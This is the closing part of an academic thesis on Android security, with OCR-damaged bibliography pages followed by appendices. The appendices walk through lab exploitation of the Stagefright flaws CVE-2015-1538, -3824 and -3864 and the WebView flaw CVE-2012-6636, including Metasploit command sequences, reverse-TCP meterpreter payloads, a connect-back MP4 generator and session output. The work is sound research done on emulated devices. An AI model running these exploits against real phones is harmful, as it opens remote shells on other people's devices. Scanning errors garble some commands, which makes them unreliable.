Peng Liu. "Call Me Back!: At• tacks on System Server and System Apps in Android Through Synchronous Callback". In: Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security. CCS '16. Vi• enna, Austria: ACM, 2016, pp. 92-103. ISBN: 978-1-4503-4139-4. DOI: 10 .1145/2976749.2978342. URL: http: //doi . acm. org/10. 1145/2976749.2978342. [17] Ron Amedeo. Android execs get technical talking updates, Project Treble, Linux, and more. Ars Technica, May 31, 2017. URL: https: //arstechnica. com/gadgets/2017/05/ars-talks-Android- googlers - chat - about - pro j ect - treble - os - updates - and- linux (visited on 08/14/2017).

50 BIBLIOGRAPHY [18] Android application development. Aug. 11,2017. URL: https: //www. tutorialspoint.com/Android/Android_tutorial.pdf. [19] Android Security 2016 Year In Review. Mar. 2017. URL: https: //s

ource .Android. com/security/reports/Google°/05C_Android°/o 5C_Security0/o5C_2016°/o5C_Report°/o5C_Final.pdf. [20] Android WebView Vulnerabilities. Penetration Testing Lab, Feb. 12, 2017. URL: https://pentestlab.blog/2017/02/12/Android- webview-vulnerabilities/ (visited on 12/08/2017). [21] Dr. G. Ramakoteswara Rao. Apepalli Venkata Sai Krishna. "A Study on Stagefright Attack". In: International Journal for Research in Applied Science and Engineering Technology (IJRASET) 5.9 (Sept. 2017). ISSN: 2321-9653. URL: http: //WWW. ijraset. com/f ileserv e .php?FID=98681 (visited on 09/27/2017). [22] ART and Dalvik, Android Open Source Project. Android Source, Aug. 30, 2017. URL: https : / /source . android . com/devices/ tech/dalvik (visited on 10/12/2017). [23] Global mobile OS market share in sales to end users from 1st quarter 2009 to 1st quarter 2017. The Statistics Portal, 2017. URL: https : //www . statista . com/statistics/266136/global-market- share-held-by-smartphone-operating-systems/ (visited on 11/04/2017). [24] Google Android Remote Code Execution Vulnerability. Beyond Se• curity, Mar. 17, 2017. URL: http: //www. securiteam. com/securi tynews/50P3B20KUY.html (visited on 08/16/2017). [25] Alexandra Harrison and Jake Saxton. Android Architecture. Aug. 15, 2017. URL: http : //meseec . ce . rit . edu/551-projects/f all 2015/1-3.pdf. [26] Mobile Operating System Market Share Worldwide. Stat Counter, 2017. URL: http : //gs . statcounter . com/os-market-share/ mobile/worldwide (visited on 11/04/2017). [27] SEI CERT C++ Coding Standard. Software Engineering Institute, Carnegie Mellon University, Nov. 4, 2017. URL: https: //www. se curecoding.cert.org/confluence/pages/viewpage.action? pageld=637. [28] Why OEMs don't provide updates... Oneplus, June 8, 2017. URL: https : / / forums . oneplus . net / threads / why - oems - dont - provide-updates .547780/ (visited on 11/27/2017).

51 BIBLIOGRAPHY [29] Android Open Source Project. Developers, URL: https : //source. android.com (visited on 10/09/2017). [30] Hanan Be'er. Metaphor, A (real) real-life stage/right exploit, URL: ht tp: //north-bit. com (visited on 08/28/2017). [31] Code Aurora git repositories. Code Aurora Forum, URL: https: //so urce. codeaurora.org/quic/la/kernel (visitedon09/13/2017). [32] Common Vulnerabilities and Exposures. Common Vulnerabilities and Exposures: US-CERT, URL: http : / /www. eve . mitre . org/ cgi-bin (visited on 08/10/2017). [33] CVE Details, Google - Android - Vulnerability statistics. CVE De• tails, URL: http : //cvedetails . com/product/19997/Google- Android.html (visited on 08/16/2017). [34] Git repositories on Android. Google Git. URL: https : / /android. googlesource. com/?f ormat=HTML (visited on 08/23/2017). [35] Git repositories on Android. Google Git. URL: https : / /android. googlesource . com/platf orm/f rameworks/av/ + /2434839bbd 168469f 80dd9a22f 1328bc8104639821/#F0 (visited on 08/23/2017). [36] National Vulnerability Database (NVD). National Institute of Stan• dards and Technology (NIST), URL: https : //www . nist. gov/ programs-projects/national-vulnerability-database-nvd (visited on 08/17/2017). [37] Security Tips. Android Developers, URL: https : //developer. An droid.com/training/articles/security-tips.html (visited on 09/09/2017). [38] Soft AACEncoderl.epp. Google Git, URL: https : / /android . goo glesource . com/platform/frameworks/av/ + /961e5ac5788b 52304e64b9a509781beaf5201fb0/media/libstagef right/cod ecs/aacenc/SoftAACEncoder2. epp (visited on 11/28/2017). [39] vop.cpp. Google Git, URL: https : //android. googlesource . co m/platf orm/f rameworks/av/ + /26557d832fde349721500b47d 51467c046794ae9/media/libstagefright/codecs/m4v_h263/ dec/sre/vop. epp (visited on 11/28/2017). [40] WebView. Android Developers, URL: https : //developer. Andro id.com/reference/Android/webkit/WebView.html (visited on 08/16/2017).

52 A Exploitation Procedure for CVE-2015-1538

Setup Used to run this exploit is: 1. Host system - Ubuntu. 2. Kali as attacking system, hosted on Virtual Box. • Network Configuration for testing emulated device - Host only mode. • Network Configuration for testing real device - Bridged mode with wlO (Wireless LAN) and target device connected on WiFi in same network.

3. ARM based AVDs used as emulated devices. Since attack is architecture specific. AVDs are hosted on Android-Studio. 4. Transfer the crafted MP4 file to target system and play. File can be transferred as:

• Manually. • Hosted on attacker's system and access using target's browser.

rootQkali:-/exploits_own# python mp4.py usage: mp4.py [-h] [-c CBHOST] [-p CBPORT] [-s SPRAY_ADDR ] [-r R0P_PIV0T] [-o OUTPUT_FILE]

optional arguments: -h, --help show this help message and exit -c CBHOST, -connectback-host CBHOST -p CBPORT, -connectback-port CBPORT -s SPRAY_ADDR, -spray-address SPRAY_ADDR -r ROP_PIVOT, -rop-pivot ROP_PIVOT -o OUTPUT_FILE, -output-file OUTPUT_FILE 0.1 rootQkali:-/exploits_own# python mp4.py -c 192.168.57.102 -p 4444 [*] Saving crafted MP4 to myexploit.mp4 . rootQkali:-/exploits_own#cd rootQkali:~# service apache2 start rootQkali :~# nc -1 -p 4444

53 A. EXPLOITATION PROCEDURE FOR CVE-2015-1538

GET /myexploit.mp4 HTTP/1.1 Host: 192.168.57.102:4444 Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q =0.9,*/*;q=0.8 X-Requested-With: com.android.browser User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; sdk Build/MASTER) apple manualWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Accept-Encoding: gzip,deflate Accept-Language: en-US Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7

54 B AVD Details for Exploited Device for CVE- 2015-1538

hw.cpu.arch = arm hw.cpu.model = cortex-a8 hw.cpu.ncore = 2 hw.ramSize = 1024 hw. screen = touch hw.mainKeys = false hw.trackBall = false hw.keyboard = true hw.keyboard.lid = false hw.keyboard.charmap = qwerty2 hw.dPad = false hw.rotarylnput = false hw.gsmModem = true hw.gps = true hw.battery = true hw.accelerometer = true hw.gyroscope = true hw.audiolnput = true hw.audioOutput = true hw.sdCard = true hw.sdCard.path = /home/arman/.android/avd/Galaxy_Nexus_API _16.avd/sdcard.img disk.cachePartition = true disk.cachePartition.path = /home/arman / .android/avd/Galaxy_Nexus_API_16.avd / cache.img disk.cachePartition. size = 66m hw.lcd.width = 720 hw.lcd.height = 1280 hw.lcd.depth = 16 hw.lcd. density = 320 hw.lcd.backlight = true hw.gpu.enabled = true hw.gpu.mode = host

55 B. AVD DETAILS FOR EXPLOITED DEVICE FOR CVE-2015-1538 hw.gpu.blacklisted = no hw.initialOrientation = Portrait hw.camera.back = emulated hw.camera.front = emulated vm.heapSize = 256 hw.sensors.light = true hw.sensors.pressure = true hw.sensors.humidity = true hw.sensors.proximity = true hw.sensors.magnetic_field = true hw.sensors.magnetic_field_uncalibrated = true hw.sensors.gyroscope_uncalibrated = true hw.sensors.orientation = true hw.sensors.temperature = true hw.useext4 = true kernel.path = /home/arman/Android/Sdk/system-images/android- 16/default/armeabi-v7a//kernel-qemu kernel.newDeviceNaming = no kernel.supportsYaffs2 = yes disk.ramdisk.path = /home/arman / Android / Sdk / system-images / android- 16/default/armeabi-v7a// ramdisk.img disk, sy stemPartition. initPath = / home / arman / Android / Sdk/ system- images / android-16 / default / armeabi-v7a / / system.img disk.systemPartition.size = 200m disk. vendorPartition. size = 0 disk.dataPartition.path = /home/arman / .android/avd/Galaxy_Nexus_API_16.avd / userdata-qemu.img disk.dataPartition.size = 800m PlayStore.enabled = false avd.name = Galaxy_Nexus_API_16

56 C Exploitation Procedure for CVE-2015-3824

The same attack methodology can also be used for CVE-2015-3864. Setup Used to run this exploit is: 1. Host system - Ubuntu.

2. Kali as attacking system, hosted on Virtual Box.

• Network Configuration for testing emulated device - Host only mode. • Network Configuration for testing real device - Bridged mode with wlO (Wireless LAN) and target device connected on WiFi in same network.

3. ARM based AVDs used as emulated devices. Since attack is architecture specific. AVDs are hosted on Android-Studio.

4. Real hardware used are also ARM based.

5. To trigger the exploit target need to browse the hosted link.

6. The default payload is reverse_tcp, so the reverse meterpreter shell can be obtained if attack is successful

msf > use exploit/android/browser/ stagefright_mp4_tx3g_64bit_overflow msf exploit(stagefright_mp4_tx3g_64bit_overflow) > set SRVHOST 192.168.57.102 SRVHOST => 192.168.57.102 msf exploit(stagefright_mp4_tx3g_64bit_overflow) > set URIPATH / URIPATH => / msf exploit(stagefright_mp4_tx3g_64bit_overflow) > set payload linux/armle/meterpreter/reverse_tcp payload => linux/armle/meterpreter/reverse_tcp msf exploit(stagefright_mp4_tx3g_64bit_overflow) > set LHOST 192.168.57.102 LHOST => 192.168.57.102 msf exploit(stagefright_mp4_tx3g_64bit_overflow) > set VERBOSE true VERBOSE => true

57 C. EXPLOITATION PROCEDURE FOR CVE-2015-3824 msf exploit(stagefright_mp4_tx3g_64bit_overflow) > exploit -j [*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.57.102:4444 [*] Using URL: http ://192 . 168 . 57 . 102:8080/ [*] Server started. msf exploit(stagefright_mp4_tx3g_64bit_overflow) > [*] Transmitting intermediate stager ...(136 bytes) [*] Sending stage (782120 bytes) to 192.168.57.1 [*] Meterpreter session 1 opened (192.168.57.102:4444 -> 192.168.57.1:34506) at 2017-11-11 03:29:14 -0500 msf exploit(stagefright_mp4_tx3g_64bit_overflow) > sessions -i

Active sessions

Id Type Information Connection

1 meterpreter armle/linux 192.168.57.102:4444 -> 192.168.57.1:34506 (192.168.57.1)

58 D AVD Details for Exploited Device for CVE- 2015-3824 and CVE-2015-3864

AvdId=Nexus_5_API_21 PlayStore.enabled=false abi.type=armeabi-v7a avd.ini.displayname=Nexus 5 API 21 avd.ini.encoding=UTF-8 disk.dataPartition.size=800M fastboot.forceColdBoot=no hw.accelerometer=yes hw.audioInput=yes hw.battery=yes hw.camera.back=emulated hw.camera.front=emulated hw.cpu.arch=arm hw.cpu.model=cortex-a8 hw.cpu.ncore=2 hw.dPad=hw.device.hash2=MD5:lc925b9117dd9f33c5128dac289a0d68 hw.device.manufacturer=Google hw.device.name=Nexus 5 hw.gps=yes hw.gpu.enabled=yes hw.gpu.mode=auto hw.initialOrientation=Portrait hw.keyboard=yes hw.lcd.density=480 hw.lcd.heit=1920 hw.lcd.width=1080 hw.ramSize=153hw.sdCard=yes hw. sensor s. orientation=y hw.sensors.proximity=y hw.trackBall=no image. sy sdir. 1=stem-images / andr oid-21 / google_apis / ar meabi-v7a / runtime.network.latency=ne runtime.network.speed=full sdcard.size=100M

59 D. AVD DETAILS FOR EXPLOITED DEVICE FOR CVE-2015-3824 AND CVE-2015-3864 showDeviceFrame=yes skin. dynamic=yes skin.name=nexus_5 skin.patan/Android/Sdk/skins/nexus_5 tag.display=Google APIs tag.id=google_apis vm.heapSize=128

60 E Procedure to Exploit CVE-2015-3864

The same attack methodology can also be used for CVE-2015-3824. Setup Used to run this exploit is: 1. Host system - Ubuntu.

2. Kali as attacking system, hosted on Virtual Box.

• Network Configuration for testing emulated device - Host only mode. • Network Configuration for testing real device - Bridged mode with wlO (Wireless LAN) and target device connected on WiFi in same network.

3. ARM based AVDs used as emulated devices. Since attack is architecture specific. AVDs are hosted on Android-Studio.

4. Real devices used are also ARM based.

5. To trigger the exploit target need to browse the hosted link.

6. The default payload is reverse_tcp, so the reverse meterpreter shell can be obtained if attack is successful

use exploit/android/browser/stagefright_mp4_tx3g_64bit msf exploit(stagefright_mp x3g_64bit) > set SRVHOST 192.168.57.102 SRVHOST => 192.168.57.102 msf exploit(stagefright_mp4_tx3g_64bit) > set URIPATH / URIPATH => / msf exploit(stagefright_mp4_tx3g_64bit) > set payload linux/armle/meterpreter/reverse_tcp payload => linux/armle/meterpreter/reverse_tcp msf exploit(stagefright_mp4_tx3g_64bit) > set LHOST 192.168.57.102 LHOST => 192.168.57.102 msf exploit(stagefright_mp4_tx3g_64t) > set VERBOSE true VERBOSE => true msf exploit(stagefright_mp4_tx3g_64bit) > exploit -j [*] Ext running as background job 0.

61 E. PROCEDURE TO EXPLOIT CVE-2015-3864

[*] Start reverse TCP handler on 192.168.57.102:4444 [*] Using URL: http ://192.168.57.102:8080/ [*] Server started. msf exploit(stagefright_mp4_tx3g_64bit) > [*] Transmitting intermediate stager ...(136 bytes) [*] Sending stage (782120 bytes) to 192.168.57.1 [*] Meterpreter session 1 opened (192.168.57.102:4444 -> 192.168.57.1:34338) at 2017-11-11 03:25:06 -0500 msf exploit(stagefright_mp4_tx3g_64bit) > session -i [-] Unknown command: session. msf exploit(stagefright_mp4_tx3g_64bit) > sessions -i

Active sessions

Id Type Information Connection

1 meterpreter armle/linux 192.168.57.102:4444 -> 192.168.57.1:34338 (192.168.57.1)

62 F Procedure to Exploit CVE-2012-6636

The attack is based on vulnerable application. So it will work on any vulnerable device and not architecture specific. Setup Used to run this exploit is: 1. Host system - Ubuntu. 2. Kali as attacking system, hosted on Virtual Box.

• Network Configuration for testing emulated device - Host only mode. • Network Configuration for testing real device - Bridged mode with wlO (Wireless LAN) and target device connected on WiFi in same network.

3. Genymotion emulator is used to test emulated devices. Since they are fast.

4. Genymotion devices are also set to host only mode. 5. Vulnerable Web View application (.apk) to be transferred to tar• get system.

6. To trigger the exploit target need to browse the hosted link.

7. The default payload is reverse_tcp, so the reverse meterpreter shell can be obtained if attack is successful

msf > use exploit/android/browser/ webview_addjavascriptinterface msf exploit(webview_addjavascriptinterface) > set URIPATH / URIPATH => / msf exploit(webview_addjavascriptinterface) > set LHOST 192.168.57.102 LHOST => 192.168.57.102 msf exploit(webview_addjavascriptinterface) > exploit -j [*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.57.102:4444 [*] Using URL: http ://0 . 0 . 0 . 0:8080/

63 F. PROCEDURE TO EXPLOIT CVE-2012-6636

[*] Local IP: http://127.0.0.1:8080/ [*] Server started. msf exploit(webview_addjavascriptinterface) > [*] 192.168.57.101 webview_addjavascriptinterface - Gathering target information for 192.168.57.101 [*] 192.168.57.101 webview_addjavascriptinterface - Sending HTML response to 192.168.57.101 [-] 192.168.57.101 webview_addjavascriptinterface - Target 192.168.57.101 has requested an unknown path: / favicon.ico [*] 192.168.57.101 webview_addjavascriptinterface - Serving x86 exploit . . . [*] Sending stage (69048 bytes) to 192.168.57.101 [*] Meterpreter session 1 opened (192.168.57.102:4444 -> 192.168.57.101:54496) at 2017-11-10 09:17:35 -0500 msf exploit(webview_addjavascriptinterface) > sessions -i

Active sessions

Id Type Information Connection

1 meterpreter dalvik/android u0_a3 @ localhost 192.168.57.102:4444 -> 192.168.57.101:54496 (192 . 168.57.101)

64